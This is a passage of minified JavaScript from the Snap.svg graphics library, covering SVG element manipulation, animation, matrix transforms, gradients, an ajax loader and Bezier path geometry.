b,c,d,e,f=(a||"").match(k)||[],g=this.node,h=g.className.baseVal,i=h.match(k)||[];if(i.length){for(b=0;d=f[b++];)c=i.indexOf(d),~c&&i.splice(c,1);e=i.join(" "),h!=e&&(g.className.baseVal=e)}return this},a.hasClass=function(a){var b=this.node,c=b.className.baseVal,d=c.match(k)||[];return!!~d.indexOf(a)},a.toggleClass=function(a,b){if(null!=b)return b?this.addClass(a):this.removeClass(a);var c,d,e,f,g=(a||"").match(k)||[],h=this.node,i=h.className.baseVal,j=i.match(k)||[];for(c=0;e=g[c++];)d=j.indexOf(e),~d?j.splice(d,1):j.push(e);return f=j.join(" "),i!=f&&(h.className.baseVal=f),this},a.clone=function(){var a=y(this.node.cloneNode(!0));return e(a.node,"id")&&e(a.node,{id:a.id}),g(a),a.insertAfter(this),a},a.toDefs=function(){var a=q(this);return a.appendChild(this.node),this},a.pattern=a.toPattern=function(a,b,c,d){var g=w("pattern",q(this));return null==a&&(a=this.getBBox()),f(a,"object")&&"x"in a&&(b=a.y,c=a.width,d=a.height,a=a.x),e(g.node,{x:a,y:b,width:c,height:d,patternUnits:"userSpaceOnUse",id:g.id,viewBox:[a,b,c,d].join(" ")}),g.node.appendChild(this.node),g},a.marker=function(a,b,c,d,g,h){var i=w("marker",q(this));return null==a&&(a=this.getBBox()),f(a,"object")&&"x"in a&&(b=a.y,c=a.width,d=a.height,g=a.refX||a.cx,h=a.refY||a.cy,a=a.x),e(i.node,{viewBox:[a,b,c,d].join(K),markerWidth:c,markerHeight:d,orient:"auto",refX:g||0,refY:h||0,id:i.id}),i.node.appendChild(this.node),i};var l=function(a,b,d,e){"function"!=typeof d||d.length||(e=d,d=c.linear),this.attr=a,this.dur=b,d&&(this.easing=d),e&&(this.callback=e)};d._.Animation=l,d.animation=function(a,b,c,d){return new l(a,b,c,d)},a.inAnim=function(){var a=this,b=[];for(var c in a.anims)a.anims[A](c)&&!function(a){b.push({anim:new l(a._attrs,a.dur,a.easing,a._callback),mina:a,curStatus:a.status(),status:function(b){return a.status(b)},stop:function(){a.stop()}})}(a.anims[c]);return b},d.animate=function(a,d,e,f,g,h){"function"!=typeof g||g.length||(h=g,g=c.linear);var i=c.time(),j=c(a,d,i,i+f,c.time,e,g);return h&&b.once("mina.finish."+j.id,h),j},a.stop=function(){for(var a=this.inAnim(),b=0,c=a.length;c>b;b++)a[b].stop();return this},a.animate=function(a,d,e,g){"function"!=typeof e||e.length||(g=e,e=c.linear),a instanceof l&&(g=a.callback,e=a.easing,d=e.dur,a=a.attr);var i,j,k,m,n=[],o=[],p={},q=this;for(var r in a)if(a[A](r)){q.equal?(m=q.equal(r,B(a[r])),i=m.from,j=m.to,k=m.f):(i=+q.attr(r),j=+a[r]);var s=f(i,"array")?i.length:1;p[r]=h(n.length,n.length+s,k),n=n.concat(i),o=o.concat(j)}var t=c.time(),u=c(n,o,t,t+d,c.time,function(a){var b={};for(var c in p)p[A](c)&&(b[c]=p[c](a));q.attr(b)},e);return q.anims[u.id]=u,u._attrs=a,u._callback=g,b("snap.animcreated."+q.id,u),b.once("mina.finish."+u.id,function(){delete q.anims[u.id],g&&g.call(q)}),b.once("mina.stop."+u.id,function(){delete q.anims[u.id]}),q};var m={};a.data=function(a,c){var e=m[this.id]=m[this.id]||{};if(0==arguments.length)return b("snap.data.get."+this.id,this,e,null),e;if(1==arguments.length){if(d.is(a,"object")){for(var f in a)a[A](f)&&this.data(f,a[f]);return this}return b("snap.data.get."+this.id,this,e[a],a),e[a]}return e[a]=c,b("snap.data.set."+this.id,this,c,a),this},a.removeData=function(a){return null==a?m[this.id]={}:m[this.id]&&delete m[this.id][a],this},a.outerSVG=a.toString=i(1),a.innerSVG=i()}(u.prototype),d.parse=function(a){var b=z.doc.createDocumentFragment(),c=!0,d=z.doc.createElement("div");if(a=B(a),a.match(/^\s*<\s*svg(?:\s|>)/)||(a="<svg>"+a+"</svg>",c=!1),d.innerHTML=a,a=d.getElementsByTagName("svg")[0])if(c)b=a;else for(;a.firstChild;)b.appendChild(a.firstChild);return d.innerHTML=J,new v(b)},v.prototype.select=u.prototype.select,v.prototype.selectAll=u.prototype.selectAll,d.fragment=function(){for(var a=Array.prototype.slice.call(arguments,0),b=z.doc.createDocumentFragment(),c=0,e=a.length;e>c;c++){var f=a[c];f.node&&f.node.nodeType&&b.appendChild(f.node),f.nodeType&&b.appendChild(f),"string"==typeof f&&b.appendChild(d.parse(f).node)}return new v(b)},d._.make=w,d._.wrap=y,x.prototype.el=function(a,b){var c=w(a,this.node);return b&&c.attr(b),c},b.on("snap.util.getattr",function(){var a=b.nt();a=a.substring(a.lastIndexOf(".")+1);var c=a.replace(/[A-Z]/g,function(a){return"-"+a.toLowerCase()});return fb[A](c)?this.node.ownerDocument.defaultView.getComputedStyle(this.node,null).getPropertyValue(c):e(this.node,a)});var fb={"alignment-baseline":0,"baseline-shift":0,clip:0,"clip-path":0,"clip-rule":0,color:0,"color-interpolation":0,"color-interpolation-filters":0,"color-profile":0,"color-rendering":0,cursor:0,direction:0,display:0,"dominant-baseline":0,"enable-background":0,fill:0,"fill-opacity":0,"fill-rule":0,filter:0,"flood-color":0,"flood-opacity":0,font:0,"font-family":0,"font-size":0,"font-size-adjust":0,"font-stretch":0,"font-style":0,"font-variant":0,"font-weight":0,"glyph-orientation-horizontal":0,"glyph-orientation-vertical":0,"image-rendering":0,kerning:0,"letter-spacing":0,"lighting-color":0,marker:0,"marker-end":0,"marker-mid":0,"marker-start":0,mask:0,opacity:0,overflow:0,"pointer-events":0,"shape-rendering":0,"stop-color":0,"stop-opacity":0,stroke:0,"stroke-dasharray":0,"stroke-dashoffset":0,"stroke-linecap":0,"stroke-linejoin":0,"stroke-miterlimit":0,"stroke-opacity":0,"stroke-width":0,"text-anchor":0,"text-decoration":0,"text-rendering":0,"unicode-bidi":0,visibility:0,"word-spacing":0,"writing-mode":0};b.on("snap.util.attr",function(a){var c=b.nt(),d={};c=c.substring(c.lastIndexOf(".")+1),d[c]=a;var f=c.replace(/-(\w)/gi,function(a,b){return b.toUpperCase()}),g=c.replace(/[A-Z]/g,function(a){return"-"+a.toLowerCase()});fb[A](g)?this.node.style[f]=null==a?J:a:e(this.node,d)}),function(){}(x.prototype),d.ajax=function(a,c,d,e){var g=new XMLHttpRequest,h=V();if(g){if(f(c,"function"))e=d,d=c,c=null;else if(f(c,"object")){var i=[];for(var j in c)c.hasOwnProperty(j)&&i.push(encodeURIComponent(j)+"="+encodeURIComponent(c[j]));c=i.join("&")}return g.open(c?"POST":"GET",a,!0),c&&(g.setRequestHeader("X-Requested-With","XMLHttpRequest"),g.setRequestHeader("Content-type","application/x-www-form-urlencoded")),d&&(b.once("snap.ajax."+h+".0",d),b.once("snap.ajax."+h+".200",d),b.once("snap.ajax."+h+".304",d)),g.onreadystatechange=function(){4==g.readyState&&b("snap.ajax."+h+"."+g.status,e,g)},4==g.readyState?g:(g.send(c),g)}},d.load=function(a,b,c){d.ajax(a,function(a){var e=d.parse(a.responseText);c?b.call(c,e):b(e)})};var gb=function(a){var b=a.getBoundingClientRect(),c=a.ownerDocument,d=c.body,e=c.documentElement,f=e.clientTop||d.clientTop||0,h=e.clientLeft||d.clientLeft||0,i=b.top+(g.win.pageYOffset||e.scrollTop||d.scrollTop)-f,j=b.left+(g.win.pageXOffset||e.scrollLeft||d.scrollLeft)-h;return{y:i,x:j}};return d.getElementByPoint=function(a,b){var c=this,d=(c.canvas,z.doc.elementFromPoint(a,b));if(z.win.opera&&"svg"==d.tagName){var e=gb(d),f=d.createSVGRect();f.x=a-e.x,f.y=b-e.y,f.width=f.height=1;var g=d.getIntersectionList(f,null);g.length&&(d=g[g.length-1])}return d?y(d):null},d.plugin=function(a){a(d,u,x,z,v)},z.win.Snap=d,d}();return d.plugin(function(a){function b(a,b,d,e,f,g){return null==b&&"[object SVGMatrix]"==c.call(a)?(this.a=a.a,this.b=a.b,this.c=a.c,this.d=a.d,this.e=a.e,void(this.f=a.f)):void(null!=a?(this.a=+a,this.b=+b,this.c=+d,this.d=+e,this.e=+f,this.f=+g):(this.a=1,this.b=0,this.c=0,this.d=1,this.e=0,this.f=0))}var c=Object.prototype.toString,d=String,e=Math,f="";!function(c){function g(a){return a[0]*a[0]+a[1]*a[1]
}function h(a){var b=e.sqrt(g(a));a[0]&&(a[0]/=b),a[1]&&(a[1]/=b)}c.add=function(a,c,d,e,f,g){var h,i,j,k,l=[[],[],[]],m=[[this.a,this.c,this.e],[this.b,this.d,this.f],[0,0,1]],n=[[a,d,f],[c,e,g],[0,0,1]];for(a&&a instanceof b&&(n=[[a.a,a.c,a.e],[a.b,a.d,a.f],[0,0,1]]),h=0;3>h;h++)for(i=0;3>i;i++){for(k=0,j=0;3>j;j++)k+=m[h][j]*n[j][i];l[h][i]=k}return this.a=l[0][0],this.b=l[1][0],this.c=l[0][1],this.d=l[1][1],this.e=l[0][2],this.f=l[1][2],this},c.invert=function(){var a=this,c=a.a*a.d-a.b*a.c;return new b(a.d/c,-a.b/c,-a.c/c,a.a/c,(a.c*a.f-a.d*a.e)/c,(a.b*a.e-a.a*a.f)/c)},c.clone=function(){return new b(this.a,this.b,this.c,this.d,this.e,this.f)},c.translate=function(a,b){return this.add(1,0,0,1,a,b)},c.scale=function(a,b,c,d){return null==b&&(b=a),(c||d)&&this.add(1,0,0,1,c,d),this.add(a,0,0,b,0,0),(c||d)&&this.add(1,0,0,1,-c,-d),this},c.rotate=function(b,c,d){b=a.rad(b),c=c||0,d=d||0;var f=+e.cos(b).toFixed(9),g=+e.sin(b).toFixed(9);return this.add(f,g,-g,f,c,d),this.add(1,0,0,1,-c,-d)},c.x=function(a,b){return a*this.a+b*this.c+this.e},c.y=function(a,b){return a*this.b+b*this.d+this.f},c.get=function(a){return+this[d.fromCharCode(97+a)].toFixed(4)},c.toString=function(){return"matrix("+[this.get(0),this.get(1),this.get(2),this.get(3),this.get(4),this.get(5)].join()+")"},c.offset=function(){return[this.e.toFixed(4),this.f.toFixed(4)]},c.determinant=function(){return this.a*this.d-this.b*this.c},c.split=function(){var b={};b.dx=this.e,b.dy=this.f;var c=[[this.a,this.c],[this.b,this.d]];b.scalex=e.sqrt(g(c[0])),h(c[0]),b.shear=c[0][0]*c[1][0]+c[0][1]*c[1][1],c[1]=[c[1][0]-c[0][0]*b.shear,c[1][1]-c[0][1]*b.shear],b.scaley=e.sqrt(g(c[1])),h(c[1]),b.shear/=b.scaley,this.determinant()<0&&(b.scalex=-b.scalex);var d=-c[0][1],f=c[1][1];return 0>f?(b.rotate=a.deg(e.acos(f)),0>d&&(b.rotate=360-b.rotate)):b.rotate=a.deg(e.asin(d)),b.isSimple=!(+b.shear.toFixed(9)||b.scalex.toFixed(9)!=b.scaley.toFixed(9)&&b.rotate),b.isSuperSimple=!+b.shear.toFixed(9)&&b.scalex.toFixed(9)==b.scaley.toFixed(9)&&!b.rotate,b.noRotation=!+b.shear.toFixed(9)&&!b.rotate,b},c.toTransformString=function(a){var b=a||this.split();return+b.shear.toFixed(9)?"m"+[this.get(0),this.get(1),this.get(2),this.get(3),this.get(4),this.get(5)]:(b.scalex=+b.scalex.toFixed(4),b.scaley=+b.scaley.toFixed(4),b.rotate=+b.rotate.toFixed(4),(b.dx||b.dy?"t"+[+b.dx.toFixed(4),+b.dy.toFixed(4)]:f)+(1!=b.scalex||1!=b.scaley?"s"+[b.scalex,b.scaley,0,0]:f)+(b.rotate?"r"+[+b.rotate.toFixed(4),0,0]:f))}}(b.prototype),a.Matrix=b,a.matrix=function(a,c,d,e,f,g){return new b(a,c,d,e,f,g)}}),d.plugin(function(a,c,d,e,f){function g(d){return function(e){if(b.stop(),e instanceof f&&1==e.node.childNodes.length&&("radialGradient"==e.node.firstChild.tagName||"linearGradient"==e.node.firstChild.tagName||"pattern"==e.node.firstChild.tagName)&&(e=e.node.firstChild,n(this).appendChild(e),e=l(e)),e instanceof c)if("radialGradient"==e.type||"linearGradient"==e.type||"pattern"==e.type){e.node.id||p(e.node,{id:e.id});var g=q(e.node.id)}else g=e.attr(d);else if(g=a.color(e),g.error){var h=a(n(this).ownerSVGElement).gradient(e);h?(h.node.id||p(h.node,{id:h.id}),g=q(h.node.id)):g=e}else g=r(g);var i={};i[d]=g,p(this.node,i),this.node.style[d]=t}}function h(a){b.stop(),a==+a&&(a+="px"),this.node.style.fontSize=a}function i(a){for(var b=[],c=a.childNodes,d=0,e=c.length;e>d;d++){var f=c[d];3==f.nodeType&&b.push(f.nodeValue),"tspan"==f.tagName&&b.push(1==f.childNodes.length&&3==f.firstChild.nodeType?f.firstChild.nodeValue:i(f))}return b}function j(){return b.stop(),this.node.style.fontSize}var k=a._.make,l=a._.wrap,m=a.is,n=a._.getSomeDefs,o=/^url\(#?([^)]+)\)$/,p=a._.$,q=a.url,r=String,s=a._.separator,t="";b.on("snap.util.attr.mask",function(a){if(a instanceof c||a instanceof f){if(b.stop(),a instanceof f&&1==a.node.childNodes.length&&(a=a.node.firstChild,n(this).appendChild(a),a=l(a)),"mask"==a.type)var d=a;else d=k("mask",n(this)),d.node.appendChild(a.node);!d.node.id&&p(d.node,{id:d.id}),p(this.node,{mask:q(d.id)})}}),function(a){b.on("snap.util.attr.clip",a),b.on("snap.util.attr.clip-path",a),b.on("snap.util.attr.clipPath",a)}(function(a){if(a instanceof c||a instanceof f){if(b.stop(),"clipPath"==a.type)var d=a;else d=k("clipPath",n(this)),d.node.appendChild(a.node),!d.node.id&&p(d.node,{id:d.id});p(this.node,{"clip-path":q(d.id)})}}),b.on("snap.util.attr.fill",g("fill")),b.on("snap.util.attr.stroke",g("stroke"));var u=/^([lr])(?:\(([^)]*)\))?(.*)$/i;b.on("snap.util.grad.parse",function(a){a=r(a);var b=a.match(u);if(!b)return null;var c=b[1],d=b[2],e=b[3];return d=d.split(/\s*,\s*/).map(function(a){return+a==a?+a:a}),1==d.length&&0==d[0]&&(d=[]),e=e.split("-"),e=e.map(function(a){a=a.split(":");var b={color:a[0]};return a[1]&&(b.offset=parseFloat(a[1])),b}),{type:c,params:d,stops:e}}),b.on("snap.util.attr.d",function(c){b.stop(),m(c,"array")&&m(c[0],"array")&&(c=a.path.toString.call(c)),c=r(c),c.match(/[ruo]/i)&&(c=a.path.toAbsolute(c)),p(this.node,{d:c})})(-1),b.on("snap.util.attr.#text",function(a){b.stop(),a=r(a);for(var c=e.doc.createTextNode(a);this.node.firstChild;)this.node.removeChild(this.node.firstChild);this.node.appendChild(c)})(-1),b.on("snap.util.attr.path",function(a){b.stop(),this.attr({d:a})})(-1),b.on("snap.util.attr.class",function(a){b.stop(),this.node.className.baseVal=a})(-1),b.on("snap.util.attr.viewBox",function(a){var c;c=m(a,"object")&&"x"in a?[a.x,a.y,a.width,a.height].join(" "):m(a,"array")?a.join(" "):a,p(this.node,{viewBox:c}),b.stop()})(-1),b.on("snap.util.attr.transform",function(a){this.transform(a),b.stop()})(-1),b.on("snap.util.attr.r",function(a){"rect"==this.type&&(b.stop(),p(this.node,{rx:a,ry:a}))})(-1),b.on("snap.util.attr.textpath",function(a){if(b.stop(),"text"==this.type){var d,e,f;if(!a&&this.textPath){for(e=this.textPath;e.node.firstChild;)this.node.appendChild(e.node.firstChild);return e.remove(),void delete this.textPath}if(m(a,"string")){var g=n(this),h=l(g.parentNode).path(a);g.appendChild(h.node),d=h.id,h.attr({id:d})}else a=l(a),a instanceof c&&(d=a.attr("id"),d||(d=a.id,a.attr({id:d})));if(d)if(e=this.textPath,f=this.node,e)e.attr({"xlink:href":"#"+d});else{for(e=p("textPath",{"xlink:href":"#"+d});f.firstChild;)e.appendChild(f.firstChild);f.appendChild(e),this.textPath=l(e)}}})(-1),b.on("snap.util.attr.text",function(a){if("text"==this.type){for(var c=this.node,d=function(a){var b=p("tspan");if(m(a,"array"))for(var c=0;c<a.length;c++)b.appendChild(d(a[c]));else b.appendChild(e.doc.createTextNode(a));return b.normalize&&b.normalize(),b};c.firstChild;)c.removeChild(c.firstChild);for(var f=d(a);f.firstChild;)c.appendChild(f.firstChild)}b.stop()})(-1),b.on("snap.util.attr.fontSize",h)(-1),b.on("snap.util.attr.font-size",h)(-1),b.on("snap.util.getattr.transform",function(){return b.stop(),this.transform()})(-1),b.on("snap.util.getattr.textpath",function(){return b.stop(),this.textPath})(-1),function(){function c(c){return function(){b.stop();var d=e.doc.defaultView.getComputedStyle(this.node,null).getPropertyValue("marker-"+c);return"none"==d?d:a(e.doc.getElementById(d.match(o)[1]))}}function d(a){return function(c){b.stop();var d="marker"+a.charAt(0).toUpperCase()+a.substring(1);if(""==c||!c)return void(this.node.style[d]="none");if("marker"==c.type){var e=c.node.id;return e||p(c.node,{id:c.id}),void(this.node.style[d]=q(e))}}}b.on("snap.util.getattr.marker-end",c("end"))(-1),b.on("snap.util.getattr.markerEnd",c("end"))(-1),b.on("snap.util.getattr.marker-start",c("start"))(-1),b.on("snap.util.getattr.markerStart",c("start"))(-1),b.on("snap.util.getattr.marker-mid",c("mid"))(-1),b.on("snap.util.getattr.markerMid",c("mid"))(-1),b.on("snap.util.attr.marker-end",d("end"))(-1),b.on("snap.util.attr.markerEnd",d("end"))(-1),b.on("snap.util.attr.marker-start",d("start"))(-1),b.on("snap.util.attr.markerStart",d("start"))(-1),b.on("snap.util.attr.marker-mid",d("mid"))(-1),b.on("snap.util.attr.markerMid",d("mid"))(-1)}(),b.on("snap.util.getattr.r",function(){return"rect"==this.type&&p(this.node,"rx")==p(this.node,"ry")?(b.stop(),p(this.node,"rx")):void 0})(-1),b.on("snap.util.getattr.text",function(){if("text"==this.type||"tspan"==this.type){b.stop();var a=i(this.node);return 1==a.length?a[0]:a}})(-1),b.on("snap.util.getattr.#text",function(){return this.node.textContent})(-1),b.on("snap.util.getattr.viewBox",function(){b.stop();var c=p(this.node,"viewBox");return c?(c=c.split(s),a._.box(+c[0],+c[1],+c[2],+c[3])):void 0})(-1),b.on("snap.util.getattr.points",function(){var a=p(this.node,"points");return b.stop(),a?a.split(s):void 0})(-1),b.on("snap.util.getattr.path",function(){var a=p(this.node,"d");return b.stop(),a})(-1),b.on("snap.util.getattr.class",function(){return this.node.className.baseVal})(-1),b.on("snap.util.getattr.fontSize",j)(-1),b.on("snap.util.getattr.font-size",j)(-1)}),d.plugin(function(){function a(a){return a}function c(a){return function(b){return+b.toFixed(3)+a}}var d={"+":function(a,b){return a+b},"-":function(a,b){return a-b},"/":function(a,b){return a/b},"*":function(a,b){return a*b}},e=String,f=/[a-z]+$/i,g=/^\s*([+\-\/*])\s*=\s*([\d.eE+\-]+)\s*([^\d\s]+)?\s*$/;b.on("snap.util.attr",function(a){var c=e(a).match(g);if(c){var h=b.nt(),i=h.substring(h.lastIndexOf(".")+1),j=this.attr(i),k={};b.stop();var l=c[3]||"",m=j.match(f),n=d[c[1]];if(m&&m==l?a=n(parseFloat(j),+c[2]):(j=this.asPX(i),a=n(this.asPX(i),this.asPX(i,c[2]+l))),isNaN(j)||isNaN(a))return;k[i]=a,this.attr(k)}})(-10),b.on("snap.util.equal",function(h,i){var j=e(this.attr(h)||""),k=e(i).match(g);if(k){b.stop();var l=k[3]||"",m=j.match(f),n=d[k[1]];return m&&m==l?{from:parseFloat(j),to:n(parseFloat(j),+k[2]),f:c(m)}:(j=this.asPX(h),{from:j,to:n(j,this.asPX(h,k[2]+l)),f:a})}})(-10)}),d.plugin(function(a,c,d,e){var f=d.prototype,g=a.is;f.rect=function(a,b,c,d,e,f){var h;return null==f&&(f=e),g(a,"object")&&"[object Object]"==a?h=a:null!=a&&(h={x:a,y:b,width:c,height:d},null!=e&&(h.rx=e,h.ry=f)),this.el("rect",h)},f.circle=function(a,b,c){var d;return g(a,"object")&&"[object Object]"==a?d=a:null!=a&&(d={cx:a,cy:b,r:c}),this.el("circle",d)};var h=function(){function a(){this.parentNode.removeChild(this)}return function(b,c){var d=e.doc.createElement("img"),f=e.doc.body;d.style.cssText="position:absolute;left:-9999em;top:-9999em",d.onload=function(){c.call(d),d.onload=d.onerror=null,f.removeChild(d)},d.onerror=a,f.appendChild(d),d.src=b}}();f.image=function(b,c,d,e,f){var i=this.el("image");if(g(b,"object")&&"src"in b)i.attr(b);else if(null!=b){var j={"xlink:href":b,preserveAspectRatio:"none"};null!=c&&null!=d&&(j.x=c,j.y=d),null!=e&&null!=f?(j.width=e,j.height=f):h(b,function(){a._.$(i.node,{width:this.offsetWidth,height:this.offsetHeight})}),a._.$(i.node,j)}return i},f.ellipse=function(a,b,c,d){var e;return g(a,"object")&&"[object Object]"==a?e=a:null!=a&&(e={cx:a,cy:b,rx:c,ry:d}),this.el("ellipse",e)},f.path=function(a){var b;return g(a,"object")&&!g(a,"array")?b=a:a&&(b={d:a}),this.el("path",b)},f.group=f.g=function(a){var b=this.el("g");return 1==arguments.length&&a&&!a.type?b.attr(a):arguments.length&&b.add(Array.prototype.slice.call(arguments,0)),b},f.svg=function(a,b,c,d,e,f,h,i){var j={};return g(a,"object")&&null==b?j=a:(null!=a&&(j.x=a),null!=b&&(j.y=b),null!=c&&(j.width=c),null!=d&&(j.height=d),null!=e&&null!=f&&null!=h&&null!=i&&(j.viewBox=[e,f,h,i])),this.el("svg",j)},f.mask=function(a){var b=this.el("mask");return 1==arguments.length&&a&&!a.type?b.attr(a):arguments.length&&b.add(Array.prototype.slice.call(arguments,0)),b},f.ptrn=function(a,b,c,d,e,f,h,i){if(g(a,"object"))var j=a;else arguments.length?(j={},null!=a&&(j.x=a),null!=b&&(j.y=b),null!=c&&(j.width=c),null!=d&&(j.height=d),null!=e&&null!=f&&null!=h&&null!=i&&(j.viewBox=[e,f,h,i])):j={patternUnits:"userSpaceOnUse"};return this.el("pattern",j)},f.use=function(a){if(null!=a){{make("use",this.node)}return a instanceof c&&(a.attr("id")||a.attr({id:ID()}),a=a.attr("id")),this.el("use",{"xlink:href":a})}return c.prototype.use.call(this)},f.text=function(a,b,c){var d={};return g(a,"object")?d=a:null!=a&&(d={x:a,y:b,text:c||""}),this.el("text",d)},f.line=function(a,b,c,d){var e={};return g(a,"object")?e=a:null!=a&&(e={x1:a,x2:c,y1:b,y2:d}),this.el("line",e)},f.polyline=function(a){arguments.length>1&&(a=Array.prototype.slice.call(arguments,0));var b={};return g(a,"object")&&!g(a,"array")?b=a:null!=a&&(b={points:a}),this.el("polyline",b)},f.polygon=function(a){arguments.length>1&&(a=Array.prototype.slice.call(arguments,0));var b={};return g(a,"object")&&!g(a,"array")?b=a:null!=a&&(b={points:a}),this.el("polygon",b)},function(){function c(){return this.selectAll("stop")}function d(b,c){var d=j("stop"),e={offset:+c+"%"};return b=a.color(b),e["stop-color"]=b.hex,b.opacity<1&&(e["stop-opacity"]=b.opacity),j(d,e),this.node.appendChild(d),this}function e(){if("linearGradient"==this.type){var b=j(this.node,"x1")||0,c=j(this.node,"x2")||1,d=j(this.node,"y1")||0,e=j(this.node,"y2")||0;return a._.box(b,d,math.abs(c-b),math.abs(e-d))}var f=this.node.cx||.5,g=this.node.cy||.5,h=this.node.r||0;return a._.box(f-h,g-h,2*h,2*h)}function g(a,c){function d(a,b){for(var c=(b-l)/(a-m),d=m;a>d;d++)g[d].offset=+(+l+c*(d-m)).toFixed(2);m=a,l=b}var e,f=b("snap.util.grad.parse",null,c).firstDefined();if(!f)return null;f.params.unshift(a),e="l"==f.type.toLowerCase()?h.apply(0,f.params):i.apply(0,f.params),f.type!=f.type.toLowerCase()&&j(e.node,{gradientUnits:"userSpaceOnUse"});var g=f.stops,k=g.length,l=0,m=0;k--;for(var n=0;k>n;n++)"offset"in g[n]&&d(n,g[n].offset);for(g[k].offset=g[k].offset||100,d(k,g[k].offset),n=0;k>=n;n++){var o=g[n];e.addStop(o.color,o.offset)}return e}function h(b,f,g,h,i){var k=a._.make("linearGradient",b);return k.stops=c,k.addStop=d,k.getBBox=e,null!=f&&j(k.node,{x1:f,y1:g,x2:h,y2:i}),k}function i(b,f,g,h,i,k){var l=a._.make("radialGradient",b);return l.stops=c,l.addStop=d,l.getBBox=e,null!=f&&j(l.node,{cx:f,cy:g,r:h}),null!=i&&null!=k&&j(l.node,{fx:i,fy:k}),l}var j=a._.$;f.gradient=function(a){return g(this.defs,a)},f.gradientLinear=function(a,b,c,d){return h(this.defs,a,b,c,d)},f.gradientRadial=function(a,b,c,d,e){return i(this.defs,a,b,c,d,e)},f.toString=function(){var b,c=this.node.ownerDocument,d=c.createDocumentFragment(),e=c.createElement("div"),f=this.node.cloneNode(!0);return d.appendChild(e),e.appendChild(f),a._.$(f,{xmlns:"http://www.w3.org/2000/svg"}),b=e.innerHTML,d.removeChild(d.firstChild),b},f.clear=function(){for(var a,b=this.node.firstChild;b;)a=b.nextSibling,"defs"!=b.tagName?b.parentNode.removeChild(b):f.clear.call({node:b}),b=a}}()}),d.plugin(function(a,b){function c(a){var b=c.ps=c.ps||{};return b[a]?b[a].sleep=100:b[a]={sleep:100},setTimeout(function(){for(var c in b)b[K](c)&&c!=a&&(b[c].sleep--,!b[c].sleep&&delete b[c])}),b[a]}function d(a,b,c,d){return null==a&&(a=b=c=d=0),null==b&&(b=a.y,c=a.width,d=a.height,a=a.x),{x:a,y:b,width:c,w:c,height:d,h:d,x2:a+c,y2:b+d,cx:a+c/2,cy:b+d/2,r1:N.min(c,d)/2,r2:N.max(c,d)/2,r0:N.sqrt(c*c+d*d)/2,path:w(a,b,c,d),vb:[a,b,c,d].join(" ")}}function e(){return this.join(",").replace(L,"$1")}function f(a){var b=J(a);return b.toString=e,b}function g(a,b,c,d,e,f,g,h,j){return null==j?n(a,b,c,d,e,f,g,h):i(a,b,c,d,e,f,g,h,o(a,b,c,d,e,f,g,h,j))}function h(c,d){function e(a){return+(+a).toFixed(3)}return a._.cacher(function(a,f,h){a instanceof b&&(a=a.attr("d")),a=E(a);for(var j,k,l,m,n,o="",p={},q=0,r=0,s=a.length;s>r;r++){if(l=a[r],"M"==l[0])j=+l[1],k=+l[2];else{if(m=g(j,k,l[1],l[2],l[3],l[4],l[5],l[6]),q+m>f){if(d&&!p.start){if(n=g(j,k,l[1],l[2],l[3],l[4],l[5],l[6],f-q),o+=["C"+e(n.start.x),e(n.start.y),e(n.m.x),e(n.m.y),e(n.x),e(n.y)],h)return o;p.start=o,o=["M"+e(n.x),e(n.y)+"C"+e(n.n.x),e(n.n.y),e(n.end.x),e(n.end.y),e(l[5]),e(l[6])].join(),q+=m,j=+l[5],k=+l[6];continue}if(!c&&!d)return n=g(j,k,l[1],l[2],l[3],l[4],l[5],l[6],f-q)}q+=m,j=+l[5],k=+l[6]}o+=l.shift()+l}return p.end=o,n=c?q:d?p:i(j,k,l[0],l[1],l[2],l[3],l[4],l[5],1)},null,a._.clone)}function i(a,b,c,d,e,f,g,h,i){var j=1-i,k=R(j,3),l=R(j,2),m=i*i,n=m*i,o=k*a+3*l*i*c+3*j*i*i*e+n*g,p=k*b+3*l*i*d+3*j*i*i*f+n*h,q=a+2*i*(c-a)+m*(e-2*c+a),r=b+2*i*(d-b)+m*(f-2*d+b),s=c+2*i*(e-c)+m*(g-2*e+c),t=d+2*i*(f-d)+m*(h-2*f+d),u=j*a+i*c,v=j*b+i*d,w=j*e+i*g,x=j*f+i*h,y=90-180*N.atan2(q-s,r-t)/O;return{x:o,y:p,m:{x:q,y:r},n:{x:s,y:t},start:{x:u,y:v},end:{x:w,y:x},alpha:y}}function j(b,c,e,f,g,h,i,j){a.is(b,"array")||(b=[b,c,e,f,g,h,i,j]);var k=D.apply(null,b);return d(k.min.x,k.min.y,k.max.x-k.min.x,k.max.y-k.min.y)}function k(a,b,c){return b>=a.x&&b<=a.x+a.width&&c>=a.y&&c<=a.y+a.height}function l(a,b){return a=d(a),b=d(b),k(b,a.x,a.y)||k(b,a.x2,a.y)||k(b,a.x,a.y2)||k(b,a.x2,a.y2)||k(a,b.x,b.y)||k(a,b.x2,b.y)||k(a,b.x,b.y2)||k(a,b.x2,b.y2)||(a.x<b.x2&&a.x>b.x||b.x<a.x2&&b.x>a.x)&&(a.y<b.y2&&a.y>b.y||b.y<a.y2&&b.y>a.y)}function m(a,b,c,d,e){var f=-3*b+9*c-9*d+3*e,g=a*f+6*b-12*c+6*d;return a*g-3*b+3*c}function n(a,b,c,d,e,f,g,h,i){null==i&&(i=1),i=i>1?1:0>i?0:i;for(var j=i/2,k=12,l=[-.1252,.1252,-.3678,.3678,-.5873,.5873,-.7699,.7699,-.9041,.9041,-.9816,.9816],n=[.2491,.2491,.2335,.2335,.2032,.2032,.1601,.1601,.1069,.1069,.0472,.0472],o=0,p=0;k>p;p++){var q=j*l[p]+j,r=m(q,a,c,e,g),s=m(q,b,d,f,h),t=r*r+s*s;o+=n[p]*N.sqrt(t)}return j*o}function o(a,b,c,d,e,f,g,h,i){if(!(0>i||n(a,b,c,d,e,f,g,h)<i)){var j,k=1,l=k/2,m=k-l,o=.01;for(j=n(a,b,c,d,e,f,g,h,m);S(j-i)>o;)l/=2,m+=(i>j?1:-1)*l,j=n(a,b,c,d,e,f,g,h,m);return m}}function p(a,b,c,d,e,f,g,h){if(!(Q(a,c)<P(e,g)||P(a,c)>Q(e,g)||Q(b,d)<P(f,h)||P(b,d)>Q(f,h))){var i=(a*d-b*c)*(e-g)-(a-c)*(e*h-f*g),j=(a*d-b*c)*(f-h)-(b-d)*(e*h-f*g),k=(a-c)*(f-h)-(b-d)*(e-g);if(k){var 